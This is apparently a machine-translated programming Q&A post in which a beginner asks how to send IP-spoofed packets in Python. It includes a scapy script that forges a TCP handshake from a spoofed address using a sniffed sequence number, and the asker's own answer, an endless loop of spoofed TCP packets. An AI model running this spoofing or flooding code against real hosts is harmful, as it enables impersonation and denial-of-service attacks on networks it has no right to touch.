2016-08-15 133 views
1

是否可以使用其他ip源發送欺騙數據包? 我在網上搜索,我發現我需要使用scapy庫。我有這個劇本,我發現:python中的IP欺騙3

import sys 
from scapy.all import * 

if len(sys.argv) != 4: 
    print ("Usage: ./spoof.py <target> <spoofed_ip> <port>") 
    sys.exit(1) 

target = sys.argv[1] 
spoofed_ip = sys.argv[2] 
port = int(sys.argv[3]) 

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S') 
send(p1) 
print ("Okay, SYN sent. Enter the sniffed sequence number now: ") 

seq=sys.stdin.readline() 
print ("Okay, using sequence number " + seq) 

seq=int(seq[:-1]) 
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A', 
            ack=seq+1,seq=1) 
send(p2) 

print ("Okay, final ACK sent. Check netstat on your target :-)") 

但我不明白這是什麼意思「現在進入嗅探到的序列號:」

而且,是有可能避免使用Scapy的,和使用套接字庫呢?如果是的話,你能告訴我方式嗎?

謝謝!我是一個新手

+0

UP!任何人都知道這件事? – Sperly1987

+0

UP再次大聲笑... – Sperly1987

回答

1

解決我自己的使用Scapy的庫:

from scapy.all import * 

A = "192.168.1.254" # spoofed source IP address 
B = "192.168.1.105" # destination IP address 
C = RandShort() # source port 
D = 80 # destination port 
payload = "yada yada yada" # packet payload 

while True: 
    spoofed_packet = IP(src=A, dst=B)/TCP(sport=C, dport=D)/payload 
    send(spoofed_packet)